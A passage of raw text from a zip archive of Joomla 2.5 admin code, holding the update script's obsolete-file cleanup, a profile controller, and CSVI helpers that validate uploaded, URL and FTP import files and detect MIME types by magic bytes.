'search', 0); $extensions[] = array('plugin', 'contacts', 'search', 0); $extensions[] = array('plugin', 'content', 'search', 0); $extensions[] = array('plugin', 'newsfeeds', 'search', 0); $extensions[] = array('plugin', 'weblinks', 'search', 0); $extensions[] = array('plugin', 'languagefilter', 'system', 0); $extensions[] = array('plugin', 'p3p', 'system', 0); $extensions[] = array('plugin', 'cache', 'system', 0); $extensions[] = array('plugin', 'debug', 'system', 0); $extensions[] = array('plugin', 'log', 'system', 0); $extensions[] = array('plugin', 'redirect', 'system', 0); $extensions[] = array('plugin', 'remember', 'system', 0); $extensions[] = array('plugin', 'sef', 'system', 0); $extensions[] = array('plugin', 'logout', 'system', 0); $extensions[] = array('plugin', 'contactcreator', 'user', 0); $extensions[] = array('plugin', 'joomla', 'user', 0); $extensions[] = array('plugin', 'profile', 'user', 0); $extensions[] = array('plugin', 'joomla', 'extension', 0); $extensions[] = array('plugin', 'joomla', 'content', 0); $extensions[] = array('plugin', 'languagecode', 'system', 0); $extensions[] = array('plugin', 'joomlaupdate', 'quickicon', 0); $extensions[] = array('plugin', 'extensionupdate', 'quickicon', 0); $extensions[] = array('plugin', 'recaptcha', 'captcha', 0); $extensions[] = array('plugin', 'eosnotify', 'quickicon', 0); // Templates $extensions[] = array('template', 'atomic', '', 0); $extensions[] = array('template', 'bluestork', '', 1); $extensions[] = array('template', 'beez_20', '', 0); $extensions[] = array('template', 'hathor', '', 1); $extensions[] = array('template', 'beez5', '', 0); // Languages $extensions[] = array('language', 'en-GB', '', 0); $extensions[] = array('language', 'en-GB', '', 1); // Files $extensions[] = array('file', 'joomla', '', 0); // Packages $extensions[] = array('package', 'pkg_joomla', '', 0); // Attempt to refresh manifest caches $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('*'); $query->from('#__extensions'); foreach ($extensions as $extension) { $query->where('type='.$db->quote($extension[0]).' AND element='.$db->quote($extension[1]).' AND folder='.$db->quote($extension[2]).' AND client_id='.$extension[3], 'OR'); } $db->setQuery($query); $extensions = $db->loadObjectList(); $installer = new JInstaller(); // Check for a database error. if ($db->getErrorNum()) { echo JText::sprintf('JLIB_DATABASE_ERROR_FUNCTION_FAILED', $db->getErrorNum(), $db->getErrorMsg()).'
      '; return; } foreach ($extensions as $extension) { if (!$installer->refreshManifestCache($extension->extension_id)) { echo JText::sprintf('FILES_JOOMLA_ERROR_MANIFEST', $extension->type, $extension->element, $extension->name, $extension->client_id).'
      '; } } } public function deleteUnexistingFiles() { $files = array( '/includes/version.php', '/installation/sql/mysql/joomla_update_170to171.sql', '/installation/sql/mysql/joomla_update_172to173.sql', '/installation/sql/mysql/joomla_update_17ga.sql', '/libraries/cms/cmsloader.php', '/libraries/joomla/application/applicationexception.php', '/libraries/joomla/client/http.php', '/libraries/joomla/filter/filterinput.php', '/libraries/joomla/filter/filteroutput.php', '/libraries/joomla/form/fields/templatestyle.php', '/libraries/joomla/form/fields/user.php', '/libraries/joomla/form/fields/menu.php', '/libraries/joomla/form/fields/helpsite.php', '/libraries/joomla/form/formfield.php', '/libraries/joomla/form/formrule.php', '/libraries/joomla/utilities/garbagecron.txt', '/libraries/phpmailer/language/phpmailer.lang-en.php', '/media/system/css/modal_msie.css', '/media/system/images/modal/closebox.gif', '/administrator/components/com_admin/sql/updates/sqlsrv/2.5.2-2012-03-05.sql', '/administrator/components/com_admin/sql/updates/sqlsrv/2.5.3-2012-03-13.sql', '/administrator/components/com_admin/sql/updates/sqlsrv/index.html', '/administrator/components/com_users/controllers/config.php', '/administrator/language/en-GB/en-GB.plg_system_finder.ini', '/administrator/language/en-GB/en-GB.plg_system_finder.sys.ini', '/media/editors/tinymce/jscripts/tiny_mce/plugins/advhr/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/advimage/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/advlink/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/advlist/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/autolink/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/autoresize/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/autosave/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/bbcode/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/contextmenu/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/directionality/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/fullpage/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/fullscreen/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/iespell/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/inlinepopups/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/insertdatetime/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/layer/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/lists/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/media/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/nonbreaking/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/noneditable/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/pagebreak/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/paste/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/preview/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/print/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/save/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/searchreplace/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/spellchecker/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/style/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/tabfocus/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/table/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/template/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/visualchars/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/wordcount/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/editor_plugin_src.js', '/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/editor_template_src.js', '/media/editors/tinymce/jscripts/tiny_mce/themes/simple/editor_template_src.js', '/media/editors/tinymce/jscripts/tiny_mce/tiny_mce_src.js', '/media/com_finder/images/calendar.png', '/media/com_finder/images/mime/index.html', '/media/com_finder/images/mime/pdf.png', '/media/system/js/swf-uncompressed.js', '/media/system/js/swf.js', '/media/system/js/uploader-uncompressed.js', '/media/system/js/uploader.js', '/media/system/swf/index.html', '/media/system/swf/uploader.swf', ); // TODO There is an issue while deleting folders using the ftp mode $folders = array( '/libraries/joomlacms', '/media/editors/tinymce/jscripts/tiny_mce/plugins/media/img', '/media/plg_highlight', '/media/mod_finder_status', '/administrator/components/com_admin/sql/updates/sqlsrv', '/media/com_finder/images/mime', '/media/com_finder/images', '/media/system/swf/', ); foreach ($files as $file) { if (JFile::exists(JPATH_ROOT . $file) && !JFile::delete(JPATH_ROOT . $file)) { echo JText::sprintf('FILES_JOOMLA_ERROR_FILE_FOLDER', $file).'
      '; } } foreach ($folders as $folder) { if (JFolder::exists(JPATH_ROOT . $folder) && !JFolder::delete(JPATH_ROOT . $folder)) { echo JText::sprintf('FILES_JOOMLA_ERROR_FILE_FOLDER', $folder).'
      '; } } } } PKs>\V com_admin/controllers/index.htmlnuW+A PKs>\=!com_admin/controllers/profile.phpnuW+Aid; } /** * Overrides parent save method to check the submitted passwords match. * * @return mixed Boolean or JError. * @since 1.6 */ public function save($key = null, $urlVar = null) { $data = JRequest::getVar('jform', array(), 'post', 'array'); // TODO: JForm should really have a validation handler for this. if (isset($data['password']) && isset($data['password2'])) { // Check the passwords match. if ($data['password'] != $data['password2']) { $this->setMessage(JText::_('JLIB_USER_ERROR_PASSWORD_NOT_MATCH'), 'warning'); $this->setRedirect(JRoute::_('index.php?option=com_admin&view=profile&layout=edit&id='.JFactory::getUser()->id, false)); return false; } unset($data['password2']); } $return = parent::save(); if ($this->getTask() != 'apply') { // Redirect to the main page. $this->setRedirect(JRoute::_('index.php', false)); } return $return; } /** * Method to cancel an edit. * * @param string $key The name of the primary key of the URL variable. * * @return Boolean True if access level checks pass, false otherwise. * @since 1.6 */ public function cancel($key = null) { $return = parent::cancel($key); // Redirect to the main page. $this->setRedirect(JRoute::_('index.php', false)); return $return; } } PKs>\)com_admin/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\+Ԣcom_admin/admin.xmlnuW+A com_admin Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_ADMIN_XML_DESCRIPTION admin.php controller.php index.html helpers models views language/en-GB.com_admin.ini PKs>\)com_admin/.htaccessnuW+A Order allow,deny Deny from all PKs>\kqcom_admin/admin.phpnuW+Aexecute(JRequest::getCmd('task')); $controller->redirect(); PKs>\/ܤcom_admin/controller.phpnuW+A\Y\@@com_csvi/helpers/file.phpnuW+Ainput; // Load the necessary libraries jimport('joomla.filesystem.file'); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.archive'); $this->_unpackpath = CSVIPATH_TMP; $this->_supported_fields = $jinput->get('avfields', array(), null); // Load some basic settings $this->_fileSettings(); } /** * Set up the basic settings * * @copyright * @author RolandD * @todo * @see $suffixes * @see $mimetypes * @see $data * @access private * @param * @return * @since 3.0 */ private function _fileSettings() { $this->suffixes = array('txt','csv','xls','xml','ods'); $this->mimetypes = array('text/html', 'text/plain', 'text/csv', 'application/octet-stream', 'application/x-octet-stream', 'application/vnd.ms-excel', 'application/excel', 'application/ms-excel', 'application/x-excel', 'application/x-msexcel', 'application/force-download', 'text/comma-separated-values', 'text/x-csv', 'text/x-comma-separated-values', 'application/vnd.oasis.opendocument.spreadsheet'); $this->archives = array('zip', 'tgz'); $this->data->sheets[0] = array(); } /** * Process the file to import * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ abstract public function processFile(); /** * Validate the file * * Validate the file is of the supported type * Types supported are csv, txt, xls, ods, xml * * @copyright * @author RolandD * @todo See if this code can be optimized * @see * @access public * @param * @return bool true if all OK | false if not OK * @since 3.0 */ public function validateFile() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); // Workaround as it is always true //if ($jinput->get('filepos', 0, 'int') >= 0) { // $csv_file = $template->get('local_csv_file', 'general', false); // if (!$csv_file) { // $csv_file = urldecode($jinput->get('csv_file')); // $jinput->set('local_csv_file', $csv_file); // } // $this->folder = dirname($csv_file); // $jinput->set('csv_file', $csv_file); //} $loadfrom = $template->get('source', 'general'); switch (strtolower($loadfrom)) { // Uploaded file case 'fromupload': $upload['name'] = $_FILES['jform']['name']['general']['import_file']; $upload['type'] = $_FILES['jform']['type']['general']['import_file']; $upload['tmp_name'] = $_FILES['jform']['tmp_name']['general']['import_file']; $upload['error'] = $_FILES['jform']['error']['general']['import_file']; // Check if the file upload has an error if (empty($upload)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_UPLOADED_FILE_PROVIDED')); return false; } else if ($upload['error'] == 0) { if (is_uploaded_file($upload['tmp_name'])) { // Get some basic info $folder = $this->_unpackpath.'/'.time(); $upload_parts = pathinfo($upload['name']); // Create the temp folder if (JFolder::create($folder)) { $this->folder = $folder; // Move the uploaded file to its temp location if (JFile::upload($upload['tmp_name'], $folder.'/'.$upload['name'])) { $this->_uploaded = true; // Let's see if the uploaded file is an archive if (in_array($upload_parts['extension'], $this->archives)) { // It is an archive, unpack first if (JArchive::extract($folder.'/'.$upload['name'], $folder)) { // File is unpacked, let's get the filename $foundfiles = scandir($folder); foreach ($foundfiles as $ffkey => $filename) { $ff_parts = pathinfo($filename); if (in_array(strtolower($ff_parts['extension']), $this->suffixes)) { $jinput->set('csv_file', $folder.'/'.$filename); $jinput->set('upload_file_error', false); $this->extension = strtolower($ff_parts["extension"]); end($foundfiles); } else $found = false; } if (!$found) $jinput->set('upload_file_error', true); } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_CANNOT_UNPACK_UPLOADED_FILE')); return false; } } // Just a regular file else { $jinput->set('csv_file', $folder.'/'.$upload['name']); $this->extension = strtolower($upload_parts['extension']); } } } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_CREATE_UNPACK_FOLDER', $folder)); return false; } } // Error warning cannot save uploaded file else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_NO_UPLOADED_FILE_PROVIDED', $upload['tmp_name'])); return false; } } else { // There was a problem uploading the file switch($upload['error']) { case '1': $csvilog->AddStats('incorrect', JText::_('COM_CSVI_THE_UPLOADED_FILE_EXCEEDS_THE_MAXIMUM_UPLOADED_FILE_SIZE')); break; case '2': $csvilog->AddStats('incorrect', JText::_('COM_CSVI_THE_UPLOADED_FILE_EXCEEDS_THE_MAXIMUM_UPLOADED_FILE_SIZE')); break; case '3': $csvilog->AddStats('incorrect', JText::_('COM_CSVI_THE_UPLOADED_FILE_WAS_ONLY_PARTIALLY_UPLOADED')); break; case '4': $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_FILE_WAS_UPLOADED')); break; case '6': $csvilog->AddStats('incorrect', JText::_('COM_CSVI_MISSING_A_TEMPORARY_FOLDER')); break; case '7': $csvilog->AddStats('incorrect', JText::_('COM_CSVI_FAILED_TO_WRITE_FILE_TO_DISK')); break; case '8': $csvilog->AddStats('incorrect', JText::_('COM_CSVI_FILE_UPLOAD_STOPPED_BY_EXTENSION')); break; default: $csvilog->AddStats('incorrect', JText::_('COM_CSVI_THERE_WAS_A_PROBLEM_UPLOADING_THE_FILE')); break; } return false; } break; // Local file case 'fromserver': $csv_file = JPath::clean($template->get('local_csv_file', 'general'), '/'); // Set the file name to use $jinput->set('csv_file', $csv_file); if (!JFile::exists($csv_file)) { $csvilog->addDebug('[VALIDATEFILE] '.JText::sprintf('COM_CSVI_LOCAL_FILE_DOESNT_EXIST', $csv_file)); $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_LOCAL_FILE_DOESNT_EXIST', $csv_file)); return false; } else $jinput->set('upload_file_error', false); $fileinfo = pathinfo($csv_file); if (isset($fileinfo["extension"])) { $this->extension = strtolower($fileinfo["extension"]); if ($this->extension == 'txt') $this->extension = 'csv'; } break; case 'fromurl': // The temporary folder $folder = $this->_unpackpath.'/'.time(); $urlfile = $template->get('urlfile', 'general', false); $tempfile = basename($urlfile); // Check if the remote file exists if ($urlfile) { if (CsviHelper::fileExistsRemote($urlfile)) { // Copy the remote file to a local location if (JFolder::create($folder)) { if (touch($folder.'/'.$tempfile)) { if (JFile::write($folder.'/'.$tempfile, JFile::read($urlfile))) { $csvilog->addDebug(JText::sprintf('COM_CSVI_RETRIEVE_FROM_URL', $urlfile)); $jinput->set('csv_file', $folder.'/'.$tempfile); $jinput->set('upload_file_error', false); $this->extension = JFile::getExt($tempfile); } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_CANNOT_READ_FROM_URL')); return false; } } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_CREATE_TEMP_FILE', $folder.'/'.$tempfile)); return false; } } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_CREATE_TEMP_FOLDER', $folder)); return false; } } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_CANNOT_READ_FROM_URL')); return false; } } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_FILENAME_GIVEN')); return false; } break; case 'fromftp': // The temporary folder $folder = $this->_unpackpath.'/'.time(); $ftpfile = $template->get('ftpfile', 'general', false); if ($ftpfile) { // Create the output file if (JFolder::create($folder)) { if (touch($folder.'/'.$ftpfile)) { // Start the FTP jimport('joomla.client.ftp'); $ftp = JFTP::getInstance($template->get('ftphost', 'general'), $template->get('ftpport', 'general'), null, $template->get('ftpusername', 'general'), $template->get('ftppass', 'general')); if ($ftp->get($folder.'/'.$ftpfile, $template->get('ftproot', 'general', '/').$ftpfile)) { $csvilog->addDebug(JText::sprintf('COM_CSVI_RETRIEVE_FROM_FTP', $template->get('ftproot', 'general', '/').$ftpfile)); $jinput->set('csv_file', $folder.'/'.$ftpfile); $jinput->set('upload_file_error', false); $this->extension = JFile::getExt($ftpfile); } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_CANNOT_READ_FROM_FTP')); return false; } $ftp->quit(); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_CREATE_TEMP_FILE', $folder.'/'.$ftpfile)); return false; } } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_CREATE_TEMP_FOLDER', $folder)); return false; } } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_FILENAME_GIVEN')); return false; } break; // No file given default: $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_FILE_PROVIDED')); return false; break; } // Make sure txt files are not ignored if ($this->extension == 'txt') $this->extension = 'csv'; // Set the filename $csv_file = $jinput->get('csv_file', '', 'string'); if (JFile::exists($csv_file)) { $this->filename = JPath::clean($csv_file, '/'); // Store the users filename for display purposes $csvilog->setFilename(basename($this->filename)); } else { $csvilog->addDebug(JText::sprintf('COM_CSVI_LOCAL_FILE_DOESNT_EXIST', $jinput->get('csv_file'))); return false; } if (in_array($this->extension, $this->suffixes)) $this->valid_extension = true; else { // Test the mime type if (!in_array($this->extension, $this->mimetypes) ) { $csvilog->AddStats('information', JText::sprintf('COM_CSVI_EXTENSION_NOT_ACCEPTED', $this->extension)); return false; } } // Debug message to know what filetype the user is uploading $csvilog->addDebug(JText::sprintf('COM_CSVI_IMPORT_FILETYPE', $this->extension)); // All is fine return true; } /** * Read the next line in the file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array with the line of data read | false if data cannot be read * @since 3.0 */ abstract public function ReadNextLine(); /** * Close the file * * @copyright * @author RolandD * @todo * @see processFile() * @access * @param * @return * @since */ public function closeFile($removefolder=true) { // Delete the uploaded folder if ($removefolder) $this->removeFolder(); } /** * Remove the temporary folder * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function removeFolder() { $jinput = JFactory::getApplication()->input; if (!$jinput->get('cron', false, 'bool')) { $folder = JPath::clean(dirname($this->filename), '/'); $pos = strpos($folder, CSVIPATH_TMP); if ($pos !== false) if (JFolder::exists($folder)) JFolder::delete($folder); } } /** * Get the file position * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return int current position in the file * @since 3.0 */ abstract public function getFilePos(); /** * Set the current position in the file * * @copyright * @author RolandD * @todo * @see * @access public * @param int $pos the position to move to * @return * @since 3.0 */ abstract public function setFilePos($pos); /** * Get the size of the file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return int the size of the file being read * @since 3.0 */ public function getFileSize() { return filesize($this->filename); } /** * Load the column headers from a file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return bool true * @since 3.0 */ abstract public function loadColumnHeaders(); /** * Advances the file pointer 1 forward * * @copyright * @author RolandD * @todo * @see * @access public * @param bool $preview True if called from the preview * @return * @since 3.0 */ public function next($preview=false) { $discard = $this->readNextLine(); } /** * Sets the file pointer back to the beginning of the file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ abstract function rewind(); /** * Empties the data * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return bool true * @since 3.0 */ public function clearData() { $this->data = null; return true; } } ?>PKs>\f(,llcom_csvi/helpers/images.phpnuW+AloadMimeTypes(); $this->loadImageTypes(); } /** * Check if the given file is an image * * @copyright * @author RolandD * @todo add support for external files * @see * @access public * @param string $file full path to file to check * @param bool $remote true if the file to check is a remote file * @return bool true if file is image, false if file is not an image * @since 3.0 */ public function isImage($file, $remote=false) { $mime_type = $this->findMimeType($file, $remote); if ($mime_type) { foreach ($this->_image_types as $key => $type) { if ($type['mime_type'] == $mime_type) return true; } } // If we get here, no image type has been found return false; } /** * Check a file for its mime type * * @copyright * @author RolandD * @todo * @see * @access public * @param string $filename the full location of the file to check * @param bool $remote true if the file to check is a remote file * @return string|bool return mime type if found | return false if no type found * @since 3.0 */ public function findMimeType($filename, $remote=false) { jimport('joomla.filesystem.file'); if (JFile::exists($filename) || $remote) { $handle = @fopen($filename, "r"); if ($handle) { $string = fread($handle, 20); $max_length_found = 0; foreach ($this->_mime_types as $key => $type) { if (stripos(bin2hex($string), $type['signature'], 0) !== false) { if (strlen($type['signature']) > $max_length_found) { $max_length_found = strlen($type['signature']); if (isset($type['mime_type'])) $this->_found_mime_type['mime_type'] = $type['mime_type']; } } } fclose($handle); if (isset($this->_found_mime_type['mime_type'])) return $this->_found_mime_type['mime_type']; else return false; } else { // Cannot open the image file, do a simple check switch (JFile::getExt($filename)) { case 'jpg': case 'jpeg': return 'image/jpeg'; break; case 'png': return 'image/png'; break; case 'gif': return 'image/gif'; break; case 'bmp': return 'image/bmp'; break; default: return false; break; } } } else return false; } /** * Load mime type signatures * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return void * @since 3.0 */ private function LoadMimeTypes() { $this->_mime_types[0]['signature'] = '474946383761'; $this->_mime_types[1]['signature'] = '424D'; $this->_mime_types[2]['signature'] = '4D5A'; $this->_mime_types[3]['signature'] = '504B0304'; $this->_mime_types[4]['signature'] = 'D0CF11E0A1B11AE1'; $this->_mime_types[5]['signature'] = '0100000058000000'; $this->_mime_types[6]['signature'] = '03000000C466C456'; $this->_mime_types[7]['signature'] = '3F5F0300'; $this->_mime_types[8]['signature'] = '1F8B08'; $this->_mime_types[9]['signature'] = '28546869732066696C65'; $this->_mime_types[10]['signature'] = '0000010000'; $this->_mime_types[11]['signature'] = '4C000000011402'; $this->_mime_types[12]['signature'] = '25504446'; $this->_mime_types[13]['signature'] = '5245474544495434'; $this->_mime_types[14]['signature'] = '7B5C727466'; $this->_mime_types[15]['signature'] = 'lh'; $this->_mime_types[16]['signature'] = 'MThd'; $this->_mime_types[17]['signature'] = '0A050108'; $this->_mime_types[18]['signature'] = '25215053'; $this->_mime_types[19]['signature'] = '2112'; $this->_mime_types[20]['signature'] = '1A02'; $this->_mime_types[21]['signature'] = '1A03'; $this->_mime_types[22]['signature'] = '1A04'; $this->_mime_types[23]['signature'] = '1A08'; $this->_mime_types[24]['signature'] = '1A09'; $this->_mime_types[25]['signature'] = '60EA'; $this->_mime_types[26]['signature'] = '41564920'; $this->_mime_types[27]['signature'] = '425A68'; $this->_mime_types[28]['signature'] = '49536328'; $this->_mime_types[29]['signature'] = '4C01'; $this->_mime_types[30]['signature'] = '303730373037'; $this->_mime_types[31]['signature'] = '4352555348'; $this->_mime_types[32]['signature'] = '3ADE68B1'; $this->_mime_types[33]['signature'] = '1F8B'; $this->_mime_types[34]['signature'] = '91334846'; $this->_mime_types[35]['signature'] = '3C68746D6C3E'; $this->_mime_types[36]['signature'] = '3C48544D4C3E'; $this->_mime_types[37]['signature'] = '3C21444F4354'; $this->_mime_types[38]['signature'] = '100'; $this->_mime_types[39]['signature'] = '5F27A889'; $this->_mime_types[40]['signature'] = '2D6C68352D'; $this->_mime_types[41]['signature'] = '20006040600'; $this->_mime_types[42]['signature'] = '00001A0007800100'; $this->_mime_types[43]['signature'] = '00001A0000100400'; $this->_mime_types[44]['signature'] = '20006800200'; $this->_mime_types[45]['signature'] = '00001A0002100400'; $this->_mime_types[46]['signature'] = '5B7665725D'; $this->_mime_types[47]['signature'] = '300000041505052'; $this->_mime_types[48]['signature'] = '1A0000030000'; $this->_mime_types[49]['signature'] = '4D47582069747064'; $this->_mime_types[50]['signature'] = '4D534346'; $this->_mime_types[51]['signature'] = '4D546864'; $this->_mime_types[52]['signature'] = '000001B3'; $this->_mime_types[53]['signature'] = '0902060000001000B9045C00'; $this->_mime_types[54]['signature'] = '0904060000001000F6055C00'; $this->_mime_types[55]['signature'] = '7FFE340A'; $this->_mime_types[56]['signature'] = '1234567890FF'; $this->_mime_types[57]['signature'] = '31BE000000AB0000'; $this->_mime_types[58]['signature'] = '1A00000300001100'; $this->_mime_types[59]['signature'] = '7E424B00'; $this->_mime_types[60]['signature'] = '504B0304'; $this->_mime_types[61]['signature'] = '89504E470D0A'; $this->_mime_types[62]['signature'] = '6D646174'; $this->_mime_types[63]['signature'] = '6D646174'; $this->_mime_types[64]['signature'] = '52617221'; $this->_mime_types[65]['signature'] = '2E7261FD'; $this->_mime_types[66]['signature'] = 'EDABEEDB'; $this->_mime_types[67]['signature'] = '2E736E64'; $this->_mime_types[68]['signature'] = '53495421'; $this->_mime_types[69]['signature'] = '53747566664974'; $this->_mime_types[70]['signature'] = '1F9D'; $this->_mime_types[71]['signature'] = '49492A'; $this->_mime_types[72]['signature'] = '4D4D2A'; $this->_mime_types[73]['signature'] = '554641'; $this->_mime_types[74]['signature'] = '57415645666D74'; $this->_mime_types[75]['signature'] = 'D7CDC69A'; $this->_mime_types[76]['signature'] = '4C000000'; $this->_mime_types[77]['signature'] = '504B3030504B0304'; $this->_mime_types[78]['signature'] = 'FF575047'; $this->_mime_types[79]['signature'] = 'FF575043'; $this->_mime_types[80]['signature'] = '3C3F786D6C'; $this->_mime_types[81]['signature'] = 'FFFE3C0052004F004F0054005300540055004200'; $this->_mime_types[82]['signature'] = '3C21454E54495459'; $this->_mime_types[83]['signature'] = '5A4F4F20'; $this->_mime_types[84]['signature'] = 'FFD8FFFE'; $this->_mime_types[85]['signature'] = 'FFD8FFE0'; $this->_mime_types[86]['signature'] = 'FFD8FFE1'; $this->_mime_types[87]['signature'] = 'FFD8FFDB'; $this->_mime_types[88]['signature'] = '474946383961'; // Extensions $this->_mime_types[0]['extension'] = '.gif'; $this->_mime_types[1]['extension'] = '.bmp'; $this->_mime_types[2]['extension'] = '.exe;.com;.386;.ax;.acm;.sys;.dll;.drv;.flt;.fon;.ocx;.scr;.lrc;.vxd;.cpl;.x32'; $this->_mime_types[3]['extension'] = '.zip'; $this->_mime_types[4]['extension'] = '.doc;.xls;.xlt;.ppt;.apr'; $this->_mime_types[5]['extension'] = '.emf'; $this->_mime_types[6]['extension'] = '.evt'; $this->_mime_types[7]['extension'] = '.gid;.hlp;.lhp'; $this->_mime_types[8]['extension'] = '.gz'; $this->_mime_types[9]['extension'] = '.hqx'; $this->_mime_types[10]['extension'] = '.ico'; $this->_mime_types[11]['extension'] = '.lnk'; $this->_mime_types[12]['extension'] = '.pdf'; $this->_mime_types[13]['extension'] = '.reg'; $this->_mime_types[14]['extension'] = '.rtf'; $this->_mime_types[15]['extension'] = '.lzh'; $this->_mime_types[16]['extension'] = '.mid'; $this->_mime_types[17]['extension'] = '.pcx'; $this->_mime_types[18]['extension'] = '.eps'; $this->_mime_types[19]['extension'] = '.ain'; $this->_mime_types[20]['extension'] = '.arc'; $this->_mime_types[21]['extension'] = '.arc'; $this->_mime_types[22]['extension'] = '.arc'; $this->_mime_types[23]['extension'] = '.arc'; $this->_mime_types[24]['extension'] = '.arc'; $this->_mime_types[25]['extension'] = '.arj'; $this->_mime_types[26]['extension'] = '.avi'; $this->_mime_types[27]['extension'] = '.bz;.bz2'; $this->_mime_types[28]['extension'] = '.cab'; $this->_mime_types[29]['extension'] = '.obj'; $this->_mime_types[30]['extension'] = '.tar;.cpio'; $this->_mime_types[31]['extension'] = '.cru;.crush'; $this->_mime_types[32]['extension'] = '.dcx'; $this->_mime_types[33]['extension'] = '.gz;.tar;.tgz'; $this->_mime_types[34]['extension'] = '.hap'; $this->_mime_types[35]['extension'] = '.htm;.html'; $this->_mime_types[36]['extension'] = '.htm;.html'; $this->_mime_types[37]['extension'] = '.htm;.html'; $this->_mime_types[38]['extension'] = '.ico'; $this->_mime_types[39]['extension'] = '.jar'; $this->_mime_types[40]['extension'] = '.lha'; $this->_mime_types[41]['extension'] = '.wk1;.wks'; $this->_mime_types[42]['extension'] = '.fm3'; $this->_mime_types[43]['extension'] = '.wk3'; $this->_mime_types[44]['extension'] = '.fmt'; $this->_mime_types[45]['extension'] = '.wk4'; $this->_mime_types[46]['extension'] = '.ami'; $this->_mime_types[47]['extension'] = '.adx'; $this->_mime_types[48]['extension'] = '.nsf;.ntf'; $this->_mime_types[49]['extension'] = '.ds4'; $this->_mime_types[50]['extension'] = '.cab'; $this->_mime_types[51]['extension'] = '.mid'; $this->_mime_types[52]['extension'] = '.mpg;.mpeg'; $this->_mime_types[53]['extension'] = '.xls'; $this->_mime_types[54]['extension'] = '.xls'; $this->_mime_types[55]['extension'] = '.doc'; $this->_mime_types[56]['extension'] = '.doc'; $this->_mime_types[57]['extension'] = '.doc'; $this->_mime_types[58]['extension'] = '.nsf'; $this->_mime_types[59]['extension'] = '.psp'; $this->_mime_types[60]['extension'] = '.zip'; $this->_mime_types[61]['extension'] = '.png'; $this->_mime_types[62]['extension'] = '.mov'; $this->_mime_types[63]['extension'] = '.qt'; $this->_mime_types[64]['extension'] = '.rar'; $this->_mime_types[65]['extension'] = '.ra;.ram'; $this->_mime_types[66]['extension'] = '.rpm'; $this->_mime_types[67]['extension'] = '.au'; $this->_mime_types[68]['extension'] = 